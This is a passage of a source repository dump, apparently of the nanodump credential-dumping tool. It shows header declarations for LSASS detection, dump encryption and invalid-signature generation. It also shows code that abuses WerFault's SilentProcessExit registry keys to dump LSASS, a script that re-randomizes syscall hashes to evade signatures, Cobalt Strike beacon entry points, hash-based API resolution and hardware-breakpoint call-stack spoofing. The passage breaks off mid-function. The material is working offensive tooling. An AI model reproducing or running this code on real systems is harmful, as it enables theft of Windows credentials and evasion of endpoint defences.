0x00001000, 60 | PSS_CAPTURE_IPT_TRACE = 0x00002000, 61 | PSS_CAPTURE_RESERVED_00004000, 62 | PSS_CREATE_BREAKAWAY_OPTIONAL = 0x04000000, 63 | PSS_CREATE_BREAKAWAY = 0x08000000, 64 | PSS_CREATE_FORCE_BREAKAWAY = 0x10000000, 65 | PSS_CREATE_USE_VM_ALLOCATIONS = 0x20000000, 66 | PSS_CREATE_MEASURE_PERFORMANCE = 0x40000000, 67 | PSS_CREATE_RELEASE_SECTION = 0x80000000 68 | } PSS_CAPTURE_FLAGS; 69 | 70 | typedef enum { 71 | PSS_QUERY_PROCESS_INFORMATION = 0, 72 | PSS_QUERY_VA_CLONE_INFORMATION = 1, 73 | PSS_QUERY_AUXILIARY_PAGES_INFORMATION = 2, 74 | PSS_QUERY_VA_SPACE_INFORMATION = 3, 75 | PSS_QUERY_HANDLE_INFORMATION = 4, 76 | PSS_QUERY_THREAD_INFORMATION = 5, 77 | PSS_QUERY_HANDLE_TRACE_INFORMATION = 6, 78 | PSS_QUERY_PERFORMANCE_COUNTERS = 7 79 | } PSS_QUERY_INFORMATION_CLASS; 80 | 81 | struct _CURDIR 82 | { 83 | struct _UNICODE_STRING DosPath; 84 | VOID* Handle; 85 | }; 86 | 87 | typedef struct _PROCESS_PARAMETERS 88 | { 89 | ULONG MaximumLength; 90 | ULONG Length; 91 | ULONG Flags; 92 | ULONG DebugFlags; 93 | VOID* ConsoleHandle; 94 | ULONG ConsoleFlags; 95 | VOID* StandardInput; 96 | VOID* StandardOutput; 97 | VOID* StandardError; 98 | struct _CURDIR CurrentDirectory; 99 | struct _UNICODE_STRING DllPath; 100 | struct _UNICODE_STRING ImagePathName; 101 | struct _UNICODE_STRING CommandLine; 102 | } PROCESS_PARAMETERS, *PPROCESS_PARAMETERS; 103 | 104 | typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION 105 | { 106 | ULONG Version; 107 | ULONG Reserved; 108 | PVOID Callback; 109 | } PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION, *PPROCESS_INSTRUMENTATION_CALLBACK_INFORMATION; 110 | 111 | BOOL print_shtinkering_crash_location(VOID); 112 | 113 | BOOL get_env_var( 114 | IN LPWSTR name, 115 | OUT LPWSTR value, 116 | IN DWORD size); 117 | 118 | DWORD get_tick_count(VOID); 119 | 120 | BOOL find_process_id_by_name( 121 | IN LPCSTR process_name, 122 | OUT PDWORD pPid); 123 | 124 | BOOL is_full_path( 125 | IN LPCSTR filename); 126 | 127 | VOID get_full_path( 128 | OUT PUNICODE_STRING full_dump_path, 129 | IN LPCSTR filename); 130 | 131 | LPCWSTR get_cwd(VOID); 132 | 133 | BOOL write_file( 134 | IN PUNICODE_STRING full_dump_path, 135 | IN PBYTE fileData, 136 | IN ULONG32 fileLength); 137 | 138 | BOOL create_file( 139 | IN PUNICODE_STRING full_dump_path); 140 | 141 | BOOL download_file( 142 | IN DWORD chunk_size, 143 | IN LPCSTR fileName, 144 | IN char fileData[], 145 | IN ULONG32 fileLength); 146 | 147 | BOOL delete_file( 148 | IN LPCSTR filepath); 149 | 150 | BOOL file_exists( 151 | IN LPCSTR filepath); 152 | 153 | BOOL create_folder( 154 | IN LPCSTR folderpath); 155 | 156 | BOOL wait_for_process( 157 | IN HANDLE hProcess); 158 | 159 | BOOL get_process_image( 160 | IN HANDLE hProcess, 161 | OUT PUNICODE_STRING* process_image, 162 | OUT PULONG buffer_size); 163 | 164 | BOOL is_lsass( 165 | IN HANDLE hProcess); 166 | 167 | DWORD get_pid( 168 | IN HANDLE hProcess); 169 | 170 | DWORD get_tid( 171 | IN HANDLE hThread); 172 | 173 | BOOL kill_process( 174 | IN DWORD pid, 175 | IN HANDLE hProcess); 176 | 177 | DWORD get_lsass_pid(VOID); 178 | 179 | BOOL remove_syscall_callback_hook(VOID); 180 | 181 | VOID print_success( 182 | IN LPCSTR dump_path, 183 | IN BOOL use_valid_sig, 184 | IN BOOL write_dump_to_disk); 185 | 186 | VOID free_linked_list( 187 | IN PVOID head, 188 | IN ULONG node_size); 189 | 190 | PVOID allocate_memory( 191 | OUT PSIZE_T region_size); 192 | 193 | VOID encrypt_dump( 194 | IN PVOID base_address, 195 | IN SIZE_T region_size); 196 | 197 | VOID erase_dump_from_memory( 198 | IN PVOID base_address, 199 | IN SIZE_T region_size); 200 | 201 | VOID generate_invalid_sig( 202 | OUT PULONG32 Signature, 203 | OUT PUSHORT Version, 204 | OUT PUSHORT ImplementationVersion); 205 | 206 | -------------------------------------------------------------------------------- /include/werfault.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "ntdefs.h" 7 | #include "dinvoke.h" 8 | #include "syscalls.h" 9 | 10 | #define SystemErrorPortTimeouts 0x73 11 | 12 | typedef VOID(WINAPI *RtlInitUnicodeString_t)(PUNICODE_STRING DestinationString, PCWSTR SourceString); 13 | typedef NTSTATUS(NTAPI *RtlAppendUnicodeToString_t)(PUNICODE_STRING Destination, PCWSTR Source); 14 | typedef VOID(WINAPI *RtlFreeUnicodeString_t)(PUNICODE_STRING UnicodeString); 15 | typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_t) (HANDLE ProcessHandle, NTSTATUS ExitStatus); 16 | 17 | #define RtlInitUnicodeString_SW2_HASH 0x7B6E73FC 18 | #define RtlAppendUnicodeToString_SW2_HASH 0x8626F2C6 19 | #define RtlFreeUnicodeString_SW2_HASH 0x68A85C74 20 | #define RtlReportSilentProcessExit_SW2_HASH 0x91BFF14B 21 | 22 | #define IFEO_REG_KEY L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" 23 | #define SILENT_PROCESS_EXIT_REG_KEY L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\" 24 | #define LOCAL_DUMP 0x2 25 | #define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200 26 | #define MiniDumpWithFullMemory 0x2 27 | 28 | BOOL werfault_silent_process_exit( 29 | DWORD lsass_pid, 30 | LPCSTR dump_folder); 31 | 32 | BOOL werfault_create_thread( 33 | HANDLE hProcess); 34 | -------------------------------------------------------------------------------- /resources/demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/resources/demo.png -------------------------------------------------------------------------------- /scripts/randomize_sw2_seed.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import re 6 | import glob 7 | import random 8 | import struct 9 | 10 | 11 | def get_old_seed(): 12 | with open('include/syscalls.h') as f: 13 | code = f.read() 14 | match = re.search(r'#define SW2_SEED (0x[a-fA-F0-9]{8})', code) 15 | assert match is not None, 'SW2_SEED not found!' 16 | return match.group(1) 17 | 18 | 19 | def replace_seed(old_seed, new_seed): 20 | with open('include/syscalls.h') as f: 21 | code = f.read() 22 | code = code.replace( 23 | f'#define SW2_SEED {old_seed}', 24 | f'#define SW2_SEED 0x{new_seed:08X}', 25 | 1 26 | ) 27 | with open('include/syscalls.h', 'w') as f: 28 | f.write(code) 29 | 30 | 31 | def get_function_hash(seed, function_name, is_syscall=True): 32 | function_hash = seed 33 | function_name = function_name.replace('_', '') 34 | if is_syscall and function_name[:2] == 'Nt': 35 | function_name = 'Zw' + function_name[2:] 36 | name = function_name + '\0' 37 | ror8 = lambda v: ((v >> 8) & (2 ** 32 - 1)) | ((v << 24) & (2 ** 32 - 1)) 38 | 39 | for segment in [s for s in [name[i:i + 2] for i in range(len(name))] if len(s) == 2]: 40 | partial_name_short = struct.unpack(' {old_hash} - 0x{new_hash:08X}') 61 | code = code.replace( 62 | old_hash, 63 | f'0x{new_hash:08X}' 64 | ) 65 | 66 | with open('source/syscalls.c', 'w') as f: 67 | f.write(code) 68 | 69 | with open('source/syscalls-asm.asm') as f: 70 | code = f.read() 71 | 72 | for syscall_name in syscall_names: 73 | regex = re.compile(syscall_name + ' PROC.*?mov rcx, 0([A-Fa-f0-9]{8})h', re.DOTALL) 74 | match = re.search(regex, code) 75 | assert match is not None, f'hash of syscall {syscall_name} not found!' 76 | old_hash = match.group(1) 77 | new_hash = get_function_hash(seed, syscall_name) 78 | code = code.replace( 79 | f'0{old_hash}h', 80 | f'0{new_hash:08X}h', 81 | 1 82 | ) 83 | 84 | with open('source/syscalls-asm.asm', 'w') as f: 85 | f.write(code) 86 | 87 | 88 | def replace_dinvoke_hashes(seed): 89 | for header_file in glob.glob("include/**/*.h", recursive=True): 90 | with open(header_file) as f: 91 | code = f.read() 92 | regex = re.compile(r'#define (\w+)_SW2_HASH (0x[a-fA-F0-9]{8})') 93 | matches = re.findall(regex, code) 94 | for function_name, old_hash in matches: 95 | new_hash = get_function_hash(seed, function_name, is_syscall=False) 96 | code = code.replace( 97 | f'#define {function_name}_SW2_HASH {old_hash}', 98 | f'#define {function_name}_SW2_HASH 0x{new_hash:08X}', 99 | 1 100 | ) 101 | if matches: 102 | with open(header_file, 'w') as f: 103 | f.write(code) 104 | 105 | 106 | def main(): 107 | #new_seed = random.randint(2 ** 28, 2 ** 32 - 1) 108 | new_seed = 0x1337c0de 109 | fun = 'OpenSCManagerW' 110 | import sys 111 | fun = sys.argv[1] 112 | new_hash = get_function_hash(new_seed, fun, True) 113 | print(f'{fun}: 0x{new_hash:08X}') 114 | return 115 | 116 | old_seed = get_old_seed() 117 | replace_seed(old_seed, new_seed) 118 | replace_syscall_hashes(new_seed) 119 | replace_dinvoke_hashes(new_seed) 120 | if os.name == 'nt': 121 | print('done! recompile with:\nnmake -f Makefile.msvc') 122 | else: 123 | print('done! recompile with:\nmake -f Makefile.mingw') 124 | 125 | if __name__ == '__main__': 126 | main() 127 | -------------------------------------------------------------------------------- /scripts/restore_signature: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fortra/nanodump/450d5b23aeba5e0f8f6e5fc826a08997b2237be9/scripts/restore_signature -------------------------------------------------------------------------------- /source/bin2c.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(int argc, char** argv) 4 | { 5 | if (argc != 3) 6 | { 7 | fprintf(stderr, "usage: %s \n", argv[0]); 8 | return 0; 9 | } 10 | 11 | FILE* f = fopen(argv[1], "rb"); 12 | if (!f) 13 | { 14 | fprintf(stderr, "Invalid input file: %s\n", argv[1]); 15 | return -1; 16 | } 17 | 18 | printf("#pragma once\n\nunsigned char %s[] = {", argv[2]); 19 | 20 | unsigned long n = 0; 21 | unsigned char c; 22 | while(!feof(f)) 23 | { 24 | if (!fread(&c, 1, 1, f)) 25 | break; 26 | printf("0x%.2X,", (int)c); 27 | n++; 28 | } 29 | fclose(f); 30 | 31 | printf("};\n"); 32 | printf("unsigned int %s_len = %ld;\n", argv[2], n); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /source/delete_file.c: -------------------------------------------------------------------------------- 1 | 2 | #include "delete_file.h" 3 | #ifdef BOF 4 | #include "utils.c" 5 | #include "syscalls.c" 6 | #endif 7 | 8 | // this is used to delete the nanodump DLL 9 | VOID do_delete( 10 | IN LPSTR file_path) 11 | { 12 | if (!file_exists(file_path)) 13 | { 14 | PRINT_ERR("The file does not exists"); 15 | return; 16 | } 17 | BOOL ok = delete_file(file_path); 18 | if (!ok) 19 | { 20 | PRINT_ERR("Could not delete the file"); 21 | return; 22 | } 23 | PRINT("The file has been deleted"); 24 | return; 25 | } 26 | 27 | #ifdef BOF 28 | 29 | void go(char* args, int length) 30 | { 31 | datap parser; 32 | LPSTR ssp_path; 33 | 34 | BeaconDataParse(&parser, args, length); 35 | ssp_path = BeaconDataExtract(&parser, NULL); 36 | 37 | do_delete(ssp_path); 38 | } 39 | 40 | #else 41 | 42 | int main(int argc, char* argv[]) 43 | { 44 | if (argc != 2) 45 | { 46 | printf("usage: %s \n", argv[0]); 47 | return -1; 48 | } 49 | 50 | do_delete(argv[1]); 51 | return 0; 52 | } 53 | 54 | #endif 55 | -------------------------------------------------------------------------------- /source/dinvoke.c: -------------------------------------------------------------------------------- 1 | #include "dinvoke.h" 2 | 3 | // used by spoof_callstack 4 | PVOID find_dll_by_pointer( 5 | IN PVOID address) 6 | { 7 | PND_PEB Peb = (PND_PEB)READ_MEMLOC(PEB_OFFSET); 8 | PND_PEB_LDR_DATA Ldr = Peb->Ldr; 9 | PVOID FirstEntry = &Ldr->InLoadOrderModuleList.Flink; 10 | PND_LDR_DATA_TABLE_ENTRY Entry = (PND_LDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink; 11 | 12 | do 13 | { 14 | if ((ULONG_PTR)address >= (ULONG_PTR)Entry->DllBase && 15 | (ULONG_PTR)address < RVA(ULONG_PTR, Entry->DllBase, Entry->SizeOfImage)) 16 | return Entry->DllBase; 17 | 18 | Entry = (PND_LDR_DATA_TABLE_ENTRY)Entry->InLoadOrderLinks.Flink; 19 | } while (Entry != FirstEntry); 20 | 21 | DPRINT_ERR("Could not find the target DLL from the pointer 0x%p", address); 22 | 23 | return NULL; 24 | } 25 | 26 | /* 27 | * Check that hLibrary is indeed a DLL and not something else 28 | */ 29 | BOOL is_dll( 30 | IN HMODULE hLibrary) 31 | { 32 | PIMAGE_DOS_HEADER dos; 33 | PIMAGE_NT_HEADERS nt; 34 | 35 | if (!hLibrary) 36 | return FALSE; 37 | 38 | dos = (PIMAGE_DOS_HEADER)hLibrary; 39 | 40 | // check the MZ magic bytes 41 | if (dos->e_magic != MZ) 42 | return FALSE; 43 | 44 | nt = RVA(PIMAGE_NT_HEADERS, hLibrary, dos->e_lfanew); 45 | 46 | // check the NT_HEADER signature 47 | if (nt->Signature != IMAGE_NT_SIGNATURE) 48 | return FALSE; 49 | 50 | // check that it is a DLL and not a PE 51 | USHORT Characteristics = nt->FileHeader.Characteristics; 52 | if ((Characteristics & IMAGE_FILE_DLL) != IMAGE_FILE_DLL) 53 | return FALSE; 54 | 55 | return TRUE; 56 | } 57 | 58 | /* 59 | * Look among all loaded DLLs for an export with certain function hash 60 | */ 61 | PVOID find_legacy_export( 62 | IN HMODULE hOriginalLibrary, 63 | IN DWORD fhash) 64 | { 65 | PVOID addr; 66 | PND_PEB Peb = (PND_PEB)READ_MEMLOC(PEB_OFFSET); 67 | PND_PEB_LDR_DATA Ldr = Peb->Ldr; 68 | PVOID FirstEntry = &Ldr->InLoadOrderModuleList.Flink; 69 | PND_LDR_DATA_TABLE_ENTRY Entry = (PND_LDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink; 70 | 71 | for (; Entry != FirstEntry; Entry = (PND_LDR_DATA_TABLE_ENTRY)Entry->InLoadOrderLinks.Flink) 72 | { 73 | // avoid looking in the DLL that brought us here 74 | if (Entry->DllBase == hOriginalLibrary) 75 | continue; 76 | 77 | // check if this DLL has an export with the function hash we are looking for 78 | addr = get_function_address( 79 | Entry->DllBase, 80 | fhash, 81 | 0); 82 | if (!addr) 83 | continue; 84 | 85 | return addr; 86 | } 87 | 88 | return NULL; 89 | } 90 | 91 | /* 92 | * Follow the reference and return the real address of the function 93 | */ 94 | PVOID resolve_reference( 95 | IN HMODULE hOriginalLibrary, 96 | IN PVOID addr) 97 | { 98 | HANDLE hLibrary; 99 | PVOID new_addr; 100 | LPCSTR api; 101 | 102 | // addr points to a string like: NewLibrary.NewFunctionName 103 | api = &strrchr(addr, '.')[1]; 104 | DWORD dll_length = (DWORD)((ULONG_PTR)api - (ULONG_PTR)addr); 105 | char dll[MAX_PATH + 1] = {0}; 106 | strncpy(dll, (LPCSTR)addr, dll_length); 107 | strncat(dll, "dll", MAX_PATH); 108 | wchar_t wc_dll[MAX_PATH] = {0}; 109 | mbstowcs(wc_dll, dll, MAX_PATH); 110 | 111 | // try to find the library NewLibrary 112 | hLibrary = get_library_address(wc_dll, FALSE); 113 | if (!hLibrary) 114 | { 115 | // the library is not loaded, meaning it is a legacy DLL 116 | new_addr = find_legacy_export( 117 | hOriginalLibrary, 118 | SW2_HashSyscall(api)); 119 | 120 | return new_addr; 121 | } 122 | 123 | // get the address of NewFunction in NewLibrary 124 | new_addr = get_function_address( 125 | hLibrary, 126 | SW2_HashSyscall(api), 127 | 0); 128 | 129 | return new_addr; 130 | } 131 | 132 | /* 133 | * Find an export in a DLL 134 | */ 135 | PVOID get_function_address( 136 | IN HMODULE hLibrary, 137 | IN DWORD fhash, 138 | IN WORD ordinal) 139 | { 140 | PIMAGE_DOS_HEADER dos; 141 | PIMAGE_NT_HEADERS nt; 142 | PIMAGE_DATA_DIRECTORY data; 143 | PIMAGE_EXPORT_DIRECTORY exp; 144 | DWORD exp_size; 145 | PDWORD adr; 146 | PDWORD sym; 147 | PWORD ord; 148 | LPCSTR api; 149 | PVOID addr; 150 | 151 | if (!is_dll(hLibrary)) 152 | return NULL; 153 | 154 | dos = (PIMAGE_DOS_HEADER)hLibrary; 155 | nt = RVA(PIMAGE_NT_HEADERS, hLibrary, dos->e_lfanew); 156 | data = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory; 157 | 158 | if (!data->Size || !data->VirtualAddress) 159 | return NULL; 160 | 161 | exp = RVA(PIMAGE_EXPORT_DIRECTORY, hLibrary, data->VirtualAddress); 162 | exp_size = data[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; 163 | 164 | adr = RVA(PDWORD, hLibrary, exp->AddressOfFunctions); 165 | sym = RVA(PDWORD, hLibrary, exp->AddressOfNames); 166 | ord = RVA(PWORD, hLibrary, exp->AddressOfNameOrdinals); 167 | 168 | addr = NULL; 169 | if (fhash) 170 | { 171 | // iterate over all the exports 172 | for (DWORD i = 0; i < exp->NumberOfNames; i++) 173 | { 174 | api = RVA(LPCSTR, hLibrary, sym[i]); 175 | //addr = RVA(PVOID, hLibrary, adr[ord[i]]); 176 | //DPRINT("%lx -> %s -> 0x%llx", fhash, api, (ULONG_PTR)addr-(ULONG_PTR)hLibrary); 177 | if (fhash == SW2_HashSyscall(api)) 178 | { 179 | addr = RVA(PVOID, hLibrary, adr[ord[i]]); 180 | break; 181 | } 182 | } 183 | } 184 | else 185 | { 186 | addr = RVA(PVOID, hLibrary, adr[ordinal - exp->Base]); 187 | } 188 | if (!addr) 189 | return NULL; 190 | 191 | // check if addr is a pointer to another function in another DLL 192 | if ((ULONG_PTR)addr >= (ULONG_PTR)exp && 193 | (ULONG_PTR)addr < RVA(ULONG_PTR, exp, exp_size)) 194 | { 195 | // the function seems to be defined somewhere else 196 | addr = resolve_reference( 197 | hLibrary, 198 | addr); 199 | } 200 | return addr; 201 | } 202 | 203 | /* 204 | * Get the base address of a DLL 205 | */ 206 | HANDLE get_library_address( 207 | IN LPWSTR lib_path, 208 | IN BOOL DoLoad) 209 | { 210 | PND_PEB Peb = (PND_PEB)READ_MEMLOC(PEB_OFFSET); 211 | PND_PEB_LDR_DATA Ldr = Peb->Ldr; 212 | PVOID FirstEntry = &Ldr->InLoadOrderModuleList.Flink; 213 | PND_LDR_DATA_TABLE_ENTRY Entry = (PND_LDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink; 214 | BOOL is_full_path = wcsrchr(lib_path, '\\') ? TRUE : FALSE; 215 | 216 | do 217 | { 218 | if (is_full_path) 219 | { 220 | // the dll name was provided 221 | if (!_wcsicmp(lib_path, Entry->FullDllName.Buffer)) 222 | return Entry->DllBase; 223 | } 224 | else 225 | { 226 | // the full path was provided 227 | if (!_wcsicmp(lib_path, Entry->BaseDllName.Buffer)) 228 | return Entry->DllBase; 229 | } 230 | 231 | Entry = (PND_LDR_DATA_TABLE_ENTRY)Entry->InLoadOrderLinks.Flink; 232 | } while (Entry != FirstEntry); 233 | 234 | if (!DoLoad) 235 | return NULL; 236 | 237 | // the library is not currently loaded 238 | // get the address of LdrLoadDll 239 | LdrLoadDll_t LdrLoadDll = (LdrLoadDll_t)(ULONG_PTR)get_function_address( 240 | get_library_address(NTDLL_DLL, FALSE), 241 | LdrLoadDll_SW2_HASH, 242 | 0); 243 | if (!LdrLoadDll) 244 | { 245 | api_not_found("LdrLoadDll"); 246 | return NULL; 247 | } 248 | 249 | // create a UNICODE_STRING with the library name 250 | UNICODE_STRING ModuleFileName = { 0 }; 251 | ModuleFileName.Buffer = lib_path; 252 | ModuleFileName.Length = (USHORT)wcsnlen(ModuleFileName.Buffer, MAX_PATH); 253 | ModuleFileName.Length *= 2; 254 | ModuleFileName.MaximumLength = ModuleFileName.Length + 2; 255 | 256 | // load the library 257 | HANDLE hLibrary = NULL; 258 | NTSTATUS status = LdrLoadDll( 259 | NULL, 260 | 0, 261 | &ModuleFileName, 262 | &hLibrary); 263 | if (!NT_SUCCESS(status)) 264 | { 265 | DPRINT_ERR( 266 | "Failed to load %ls, status: 0x%lx\n", 267 | lib_path, 268 | status); 269 | return NULL; 270 | } 271 | DPRINT("Loaded %ls at 0x%p", lib_path, hLibrary); 272 | 273 | return hLibrary; 274 | } 275 | -------------------------------------------------------------------------------- /source/hw_breakpoint-asm.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | hwbp_handler PROC 4 | mov rax, [rcx] 5 | mov eax, [rax] 6 | cmp eax, 080000004h 7 | jnz leave1 8 | mov rax, rcx 9 | mov rcx, [rax+008h] 10 | mov rax, [rcx+078h] 11 | mov r11, [rcx+098h] 12 | mov r9, 0DEADBEEFCAFEBABEh 13 | search_loop: 14 | add r11, 08h 15 | cmp [r11], r9 16 | jne search_loop 17 | mov r11, [r11+008h] 18 | mov rcx, [r11+000h] 19 | mov rdx, [r11+008h] 20 | mov r9, [r11+010h] 21 | mov rbx, [r11+018h] 22 | mov rbp, [r11+020h] 23 | mov rsp, [r11+028h] 24 | mov r8, [r11+030h] 25 | xor r11, r11 26 | restore_stack_loop: 27 | mov r10b, [rdx+r11] 28 | mov [r9+r11], r10b 29 | inc r11 30 | cmp r11, rcx 31 | jne restore_stack_loop 32 | jmp r8 33 | leave1: 34 | mov eax, 0ffffffffh 35 | ret 36 | hwbp_handler ENDP 37 | 38 | end 39 | -------------------------------------------------------------------------------- /source/hw_breakpoint.c: -------------------------------------------------------------------------------- 1 | 2 | #include "hw_breakpoint.h" 3 | 4 | ULONG_PTR set_bits( 5 | ULONG_PTR dw, 6 | int lowBit, 7 | int bits, 8 | ULONG_PTR newValue) 9 | { 10 | ULONG_PTR mask = (1UL << bits) - 1UL; 11 | dw = (dw & ~(mask << lowBit)) | (newValue << lowBit); 12 | return dw; 13 | } 14 | 15 | VOID clear_breakpoint( 16 | CONTEXT* ctx, 17 | int index) 18 | { 19 | //Clear the releveant hardware breakpoint 20 | switch (index) 21 | { 22 | case 0: 23 | ctx->Dr0 = 0; 24 | break; 25 | case 1: 26 | ctx->Dr1 = 0; 27 | break; 28 | case 2: 29 | ctx->Dr2 = 0; 30 | break; 31 | case 3: 32 | ctx->Dr3 = 0; 33 | break; 34 | } 35 | //Clear DRx HBP to disable for local mode 36 | ctx->Dr7 = set_bits(ctx->Dr7, (index * 2), 1, 0); 37 | ctx->Dr6 = 0; 38 | ctx->EFlags = 0; 39 | } 40 | 41 | VOID enable_breakpoint( 42 | CONTEXT* ctx, 43 | PVOID address, 44 | int index) 45 | { 46 | switch (index) 47 | { 48 | case 0: 49 | ctx->Dr0 = (ULONG_PTR)address; 50 | break; 51 | case 1: 52 | ctx->Dr1 = (ULONG_PTR)address; 53 | break; 54 | case 2: 55 | ctx->Dr2 = (ULONG_PTR)address; 56 | break; 57 | case 3: 58 | ctx->Dr3 = (ULONG_PTR)address; 59 | break; 60 | } 61 | 62 | //Set bits 16-31 as 0, which sets 63 | //DR0-DR3 HBP's for execute HBP 64 | ctx->Dr7 = set_bits(ctx->Dr7, 16, 16, 0); 65 | 66 | //Set DRx HBP as enabled for local mode 67 | ctx->Dr7 = set_bits(ctx->Dr7, (index * 2), 1, 1); 68 | ctx->Dr6 = 0; 69 | } 70 | 71 | /* 72 | * This function is responsible for: 73 | * 1) find the relevant information after the canary 74 | * 2) restore the registers 75 | * 3) restore the original stack 76 | * 4) return to trigger_syscall/trigger_api 77 | */ 78 | 79 | #if defined(_MSC_VER) && defined (_M_IX86) 80 | 81 | __declspec(naked) __attribute__((stdcall)) LONG hwbp_handler( 82 | PEXCEPTION_POINTERS exceptions) 83 | { 84 | __asm { 85 | // check that the ExceptionCode is EXCEPTION_SINGLE_STEP 86 | mov ecx, [esp+0x04] 87 | mov eax, [ecx] 88 | mov eax, [eax] 89 | cmp eax, 0x80000004 90 | jnz leave 91 | // ecx: ContextRecord 92 | mov ecx, [ecx+0x04] 93 | // get the status 94 | mov eax, [ecx+0xb0] 95 | // search for the canary 96 | // edi: exceptions->ContextRecord->Rsp 97 | mov edi, [ecx+0xc4] 98 | mov esi, 0xDEADBEEF 99 | search_loop: 100 | add edi, 0x04 101 | cmp dword ptr [edi], esi 102 | jne search_loop 103 | // edi: storing_area 104 | mov edi, [edi+0x04] 105 | // restore the original stack 106 | // full_stack_size 107 | mov ecx, [edi+0x00] 108 | // full_stack_backup_addr 109 | mov esi, [edi+0x04] 110 | // full_stack_base 111 | mov edx, [edi+0x08] 112 | restore_stack_loop: 113 | mov bl, [esi+ecx-0x1] 114 | mov [edx+ecx-0x1], bl 115 | dec ecx 116 | cmp ecx, 0x0 117 | jne restore_stack_loop 118 | // restore registers 119 | mov ebx, [edi+0x0c] 120 | mov ebp, [edi+0x10] 121 | mov esp, [edi+0x14] 122 | mov edi, [edi+0x18] 123 | // jump back to the Nt* function 124 | jmp edi 125 | leave: 126 | mov eax, 0xffffffff 127 | ret 128 | } 129 | } 130 | 131 | #elif defined(__GNUC__) 132 | 133 | __declspec(naked) LONG hwbp_handler( 134 | PEXCEPTION_POINTERS exceptions) 135 | { 136 | #if defined(_WIN64) 137 | asm( 138 | SET_SYNTAX 139 | // check that the ExceptionCode is EXCEPTION_SINGLE_STEP 140 | "mov rax, [rcx] \n" 141 | "mov eax, [rax] \n" 142 | "cmp eax, 0x80000004 \n" 143 | "jnz leave \n" 144 | // get the status code 145 | "mov rax, rcx \n" 146 | "mov rcx, [rax+0x08] \n" 147 | "mov rax, [rcx+0x78] \n" 148 | // search for the canary 149 | // r11: exceptions->ContextRecord->Rsp 150 | "mov r11, [rcx+0x98] \n" 151 | "mov r9, 0xDEADBEEFCAFEBABE \n" 152 | "search_loop: \n" 153 | "add r11, 0x8 \n" 154 | "cmp [r11], r9 \n" 155 | "jne search_loop \n" 156 | // r11: storing_area 157 | "mov r11, [r11+0x08] \n" 158 | // full_stack_size 159 | "mov rcx, [r11+0x00] \n" 160 | // full_stack_backup_addr 161 | "mov rdx, [r11+0x08] \n" 162 | // full_stack_base 163 | "mov r9, [r11+0x10] \n" 164 | // restore RBX 165 | "mov rbx, [r11+0x18] \n" 166 | // restore RBP 167 | "mov rbp, [r11+0x20] \n" 168 | // restore RSP 169 | "mov rsp, [r11+0x28] \n" 170 | // restore RIP 171 | "mov r8, [r11+0x30] \n" 172 | // restore the original stack 173 | "xor r11, r11 \n" 174 | "restore_stack_loop: \n" 175 | "mov r10b, [rdx+r11] \n" 176 | "mov [r9+r11], r10b \n" 177 | "inc r11 \n" 178 | "cmp r11, rcx \n" 179 | "jne restore_stack_loop \n" 180 | // jump back to the Nt* function 181 | "jmp r8 \n" 182 | "leave: \n" 183 | "mov eax, 0xffffffff \n" 184 | "ret \n" 185 | ); 186 | #else 187 | asm( 188 | SET_SYNTAX 189 | // check that the ExceptionCode is EXCEPTION_SINGLE_STEP 190 | "mov ecx, [esp+0x04] \n" 191 | "mov eax, [ecx] \n" 192 | "mov eax, [eax] \n" 193 | "cmp eax, 0x80000004 \n" 194 | "jnz leave \n" 195 | // ecx: ContextRecord 196 | "mov ecx, [ecx+0x04] \n" 197 | // get the status 198 | "mov eax, [ecx+0xb0] \n" 199 | // search for the canary 200 | // edi: exceptions->ContextRecord->Rsp 201 | "mov edi, [ecx+0xc4] \n" 202 | "mov esi, 0xDEADBEEF \n" 203 | "search_loop: \n" 204 | "add edi, 0x04 \n" 205 | "cmp dword ptr [edi], esi \n" 206 | "jne search_loop \n" 207 | // edi: storing_area 208 | "mov edi, [edi+0x04] \n" 209 | // restore the original stack 210 | // full_stack_size 211 | "mov ecx, [edi+0x00] \n" 212 | // full_stack_backup_addr 213 | "mov esi, [edi+0x04] \n" 214 | // full_stack_base 215 | "mov edx, [edi+0x08] \n" 216 | "restore_stack_loop: \n" 217 | "mov bl, [esi+ecx-0x1] \n" 218 | "mov [edx+ecx-0x1], bl \n" 219 | "dec ecx \n" 220 | "cmp ecx, 0x0 \n" 221 | "jne restore_stack_loop \n" 222 | // restore registers 223 | "mov ebx, [edi+0x0c] \n" 224 | "mov ebp, [edi+0x10] \n" 225 | "mov esp, [edi+0x14] \n" 226 | "mov edi, [edi+0x18] \n" 227 | // jump back to the Nt* function 228 | "jmp edi \n" 229 | "leave: \n" 230 | "mov eax, 0xffffffff \n" 231 | "ret \n" 232 | ); 233 | #endif 234 | } 235 | 236 | #endif 237 | 238 | BOOL set_hwbp( 239 | PVOID address, 240 | PHANDLE phHwBpHandler) 241 | { 242 | BOOL ret_val = FALSE; 243 | NTSTATUS status = STATUS_UNSUCCESSFUL; 244 | HANDLE hHwBpHandler = NULL; 245 | CONTEXT threadCtx = { 0 }; 246 | memset(&threadCtx, 0, sizeof(threadCtx)); 247 | threadCtx.ContextFlags = CONTEXT_ALL; 248 | RtlAddVectoredExceptionHandler_t RtlAddVectoredExceptionHandler = NULL; 249 | 250 | // find the address of RtlAddVectoredExceptionHandler_t dynamically 251 | RtlAddVectoredExceptionHandler = (RtlAddVectoredExceptionHandler_t)(ULONG_PTR)get_function_address( 252 | 